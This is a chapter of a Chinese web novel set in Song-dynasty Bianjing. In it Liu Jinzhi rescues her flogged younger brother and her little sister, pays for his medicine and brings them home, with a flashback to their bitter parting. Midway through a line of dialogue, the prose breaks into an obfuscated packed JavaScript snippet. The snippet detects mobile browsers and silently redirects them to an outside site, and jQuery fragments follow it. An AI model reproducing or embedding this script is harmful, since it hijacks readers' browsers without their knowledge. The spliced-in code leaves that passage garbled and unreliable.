宋朝的军巡辅就相当于现代的公安局,但比公安局常见,每隔三百步就设立一处,有五个辅兵,凡是宋朝律法严令禁止之类,如偷窃、打人、拐卖等等都归他们管。
虽然事务繁忙,但效率很高,等到柳金枝赶到时,判受笞刑的一批人犯已经行刑完毕。
落满白雪的刑场一片哀嚎,大多都是些十二三岁的少年,衣不蔽体,形容狼狈。
只有一个脏兮兮的小妮子跪坐在刑场最角落的地方,约莫五六岁光景,脸色蜡黄,小脸瘦削,格外显出一双大眼睛,就像一只瘦脱了相的猫儿。头上胡乱扎着两个小髻,瘦削的肩膀上还披着一件明显不符合她年龄的破旧棉衣。
她推着倒在脏地上昏迷不醒的少年,啪嗒啪嗒往下掉眼泪,哭道:“哥!哥!你醒醒啊!”
柳金枝一怔,走了两步上前看清了小妮子的脸。
虽然比起记忆里的襁褓婴孩,此时小孩的眉眼显得更加陌生,但她还是一眼就认了出来,这就是她妹妹柳月牙。
那么地上的这个人,就该是她十二岁的弟弟柳霄。
依照宋朝律法,犯偷窃罪者十岁以下家庭教育即可,十岁以上才执行笞刑。
所以那些鞭子全都甩在了柳霄身上,打得少年皮开肉绽,单薄的衣服一条条裂开,露出一截更为瘦削的苍白背脊。
饶是如此,他的手还紧紧攥着妹妹的手,安慰着她别怕,好似哪怕走到了绝路,也要尽全力站起来挡住妹妹面前的风雨。
柳金枝心中不忍,放轻了声音:“阿霄,阿月,我是大姐,我回来了。”
柳月牙哽咽着抬起脸来,泪水充盈的眼满是迷茫,像是根本记不得柳金枝了。
也难怪,柳家败落,柳金枝自卖进孙府的时候,柳月牙才不到一岁,哪里会认得什么人?
但现下也不是多解释的时候,柳金枝瞧见躺在脏地的柳霄嘴唇惨白,脸却烧得通红,额头冷汗涔涔,眼皮紧闭,根本不省人事。
不能再耽搁下去了。
柳金枝直接上前一步搂住柳霄,将人抱起来时,才惊觉少年身体之轻,简直到了只剩一把骨头的地步。
更何况少年冷到极致,已经开始打摆子。
就像一只即将死亡的小猫,在生命的最后发出一点微弱呼唤。
柳金枝倒吸一口凉气,也管不得柳月牙对她还不能完全信任,直接一手搂紧柳霄,一手扯着哭嚎挣扎的柳月牙直奔医馆而去。
也是老天有眼,医馆的坐镇大夫正好在,粗略诊脉后,沉吟道:“孩子身上的外伤倒是不打紧,问题在于他身体孱弱,底子空虚,可见是长久的不食荤腥,邪风一入体就起了高热。”
柳金枝不由忧心地蹙起眉头。
大夫道:“但也不用过于担忧,待老夫开一副方子,娘子回家熬成浓浓的一碗给他吃,以此驱寒。往后再吃些好的将养着,这底子也能再养回来。”
柳金枝这才松了一口气,放心地跟着医馆学徒去抓药。
汴京药材价贵,几剂伤寒药并上几剂补药,加在一起足足要了她二两多银子,正好对上傅霁景给她的数额。
唉,看来靠不劳而获发不了财,她还是得勤勤恳恳凭手艺赚钱。
柳金枝叹了口气,低身将柳霄背在背上,转身时,一只小手却不知从何处伸来默默抓住了她的衣角。
低头一看,柳月牙已经擦干了脸上泪痕,正仰着一张小脸望她,拘谨又生疏地唤了声:“阿、阿姐。”
这孩子态度转变太快,倒叫柳金枝摸不着头脑,笑道:“你怎的现下就认定我是你阿姐了?你就不怕我是拍花子,要将你和你哥哥一同拐走?”
“拍花子不会管我们的死活,但你管,还掏银子给哥哥治病。”柳月牙的大眼睛闪烁着聪慧倔强的光,“而且我听黄婶子说过,我和哥哥确实还有一个大姐姐,只是很早以前就离开了汴京,只有哥哥见过她。”
大概这小家伙方才看见柳金枝摸遍全身掏银子,也要给柳霄看病的狼狈样儿才得出了这个结论。
柳金枝心中软了一下,摸摸她的小脑袋:“你是个聪明孩子。”
二人踏着雪往家的方向走。
早年原主将柳家挂牌租赁给了来往科考的学子,如今房子里还住着人。
即便柳金枝告知了自己不再出租的打算,这家学子也赶不及搬出去,只能先勉强腾出一间狭小的偏室给三个人暂作落脚之地。
室内连个像样的炭盆都没有,冷的仿佛要结冰。
柳金枝让月牙暂时照顾柳霄,自己跑去左邻右舍借了一圈,才勉强凑够一些生活用具。
把炭盆生起来后,红彤彤的火舌总算让屋子多了一丝暖意。
而回头看,柳霄被月牙裹在被子里,不知什么时候竟然醒了,正面前支起身体,睁着一双黑沉沉的眼看她生火。
姐弟两个多年未见,总有些生疏。
柳金枝主动道:“霄哥儿,还识得我么?”
面对苍白狼狈是少年,她温声软语,又上前两步想要去探少年额头温度。
只是手才伸出去,却叫少年猛一下躲开了。
柳金枝的手落了空,尴尬地悬着未动。
月牙就拉拉柳霄,低声说:“哥,这是大姐,她回来看我们了。”
闻言,柳霄还是不说话,反而推开月牙的手,重新躺回被窝里,背对向所有人。
柳金枝不由抿了抿唇。
在她的记忆里,柳霄最喜欢的便是她。
小时候,无论她去哪里,身后都会跟着一个胖乎乎的小豆丁,明明奶声奶气的连句话都说不全,却还屁颠屁颠地扯着她的衣角唤“阿姐,阿姐”。
尝过一口的果子,只要觉得好吃,就会高高兴兴再拿一个新的,如珍似宝般塞给她。
等稍大些了,得知她最怕狗,就天天拿着根树枝出去行侠仗义。
那段时间胡同里的恶犬都被柳霄折腾了一遍。
一次她路过,还瞧见柳霄跟一只野狗打作一团。她赶忙上前拉了,才发现这狗就是近来吓哭她的那只。可被柳霄打了一顿,再看见她也只嗷呜嗷呜地唉叫个不停,再不敢放肆。
小小的柳霄叉着腰,满脸是伤,却又十分自豪地说:“姐,你瞧,我能护着你!”
但这么个心心念念记挂着她的小人儿,却在得知她要离开汴京时狠狠咬了她一口。
那天柳霄来送行。
孙府里头敲锣打鼓,新娘子马上就要出门,所有流程紧锣密鼓般安排着,她作为陪嫁丫鬟,忙的仿佛要窒息。
可因许久没见过弟弟,她挂念的很,最终还是苦苦央求了府内的管家老婆,才得了一时半刻的喘息时间,赶出来和柳霄说说话。
柳霄穿的粗布麻衣,脸上也有些脏,低着头,闷声问:“阿姐,你又要走吗?”
她满眼愧疚,点了下头:“嗯。”
“那、那我和月牙能不能跟着你一起走?”
她轻轻摇头:“不可以,秦淮那么远,我又要在小姐身边随侍,腾不出手来照顾你们。你们就在汴京待着,有舅舅、舅妈照顾,我心里也安心。”
少年红了眼眶,哀求说:“求求你了,阿姐,我能照顾自己和月牙的。”
她还想说什么,可耳边喜乐声更加高昂,墙内也响起了管家婆子催促的声音。
“霄哥儿,你听话!”她不得已要走。
柳霄却哭着拉住她:“阿姐!你为什么就是不肯带着我们?我们是不是成了你的拖累,让想要丢下我们!”
“霄哥儿,我从没有这样想!”她瞪大眼睛。
“那你就不要去秦淮!我讨厌舅舅,讨厌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458079|169610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舅妈,我要你回来!”
“霄哥儿闭嘴,你怎的这么不懂事?!”
她生气。
管家婆子走出角门来催她:“怎么还不进来?小姐就要出门了,正寻你呢!”
“就来。”她大声应着,又要走。
柳霄却在这个时候猛然扑上来,狠狠咬了她小臂一口。
她一时吃痛,忍不住打了柳霄一掌,人摔在了地上,扬起一片灰,却倔强地瞪着一双泪红眼看她。
“霄哥儿……”
她下意识想去扶,柳霄却一股脑爬起来拼命跑远了。
管家婆子很惊异:“这个脏兮兮的小人儿是你家弟?怎的咬你一口?”
她低头看着小臂上那道鲜红深刻的牙印,心绪懊恼又纷乱,却只偏过头,泪中带笑:“嗐,小孩子不懂事,长大他就明白了。”
但是长大以后的柳霄,现在只用瘦削的后背来面对他的阿姐。
柳金枝吐出一口气,对月牙道:“你们应该饿了吧?我先去做饭,顺便把药煎上。”
月牙仰着脸看她,道:“阿姐会做饭?我听黄婶子说,阿姐以前在家里做饭常常烧锅坏灶。”
原主确实不怎么会做饭,而且也不爱做饭,整个柳家都知道,所以家里的饭食都是柳母和柳霄准备。
柳金枝随口解释:“后来学的。”
“是向膳工们学的吗?”
“嗯。”
“他们凶吗?”
柳金枝回忆了一下侯府里的那些个一脸横肉的膳工,点头:“很凶。”
身后的被窝忽然动了一下。
柳金枝没发现,端着炉子去外边烧火。
月牙跟在柳金枝后头。
面对这个新回来的大姐,月牙既新奇又好奇,于是追着柳金枝问汴京之外的事。
柳金枝见小孩子喜欢听这些,就将自己在秦淮侯府里多年生活一一讲给她听。
很多在柳金枝看来司空见惯的事儿,都要引起月牙一阵惊呼。
柳金枝不由觉得月牙可爱。
只是讲着讲着,门后不知何时站了个清瘦的影子。
在听到柳金枝轻描淡写地讲,被赶出的侯府经历,那场冻坏人的夜雪,长久立在门框处的人终于开口,声音嘶哑又饱含恨意:
“他们竟敢这么欺负你?!”
柳金枝一愣,转身看过去,柳霄脸色惨白,手还紧紧扣住门框,明显是强撑一口气站着,却倔强地盯着柳金枝,似乎定要讨个答案。
“都过去了,我也没死。”柳金枝走过去将人扶住。
“那也不像话!”柳霄剧烈咳嗽起来,惨白的脸上浮现一抹酡红,却仍喘着气,“他们这样草菅人命,就是欺负你身后无人又老实!要不是咱家败落了,也不至于让你吃这样的苦。”
“以后时间还长,且看吧,他们不会一直得意的。”柳金枝拍拍他的肩膀,“再说了,我现在回来不是更好?带着你们一起过好日子,重新在这汴京落地生根。”
柳霄怔愣了一瞬:“你、你不走了?”
“嗯,从今以后都不走了。”
柳霄眼眶刹那间泛红,却又僵硬地偏开头,哑着嗓子说:“随你,就怕到时候你受不住,又卷了包袱去了。”
尔后转过身躺回了床上。
柳金枝笑了下。
当年的不愉快是因为双方各有苦衷,她能理解柳霄。而柳霄虽然嘴硬,心里却也还念着她这个阿姐。
只要家人齐心,就不愁过不好日子。
“月牙,想吃什么?”柳金枝心情舒畅,笑眯眯地低头问。
月牙咽了口唾沫,两眼发亮的说:“拨鱼儿!”
“好!”
柳金枝撸起袖子,从行囊包袱里取出一应材料。
起锅!开整!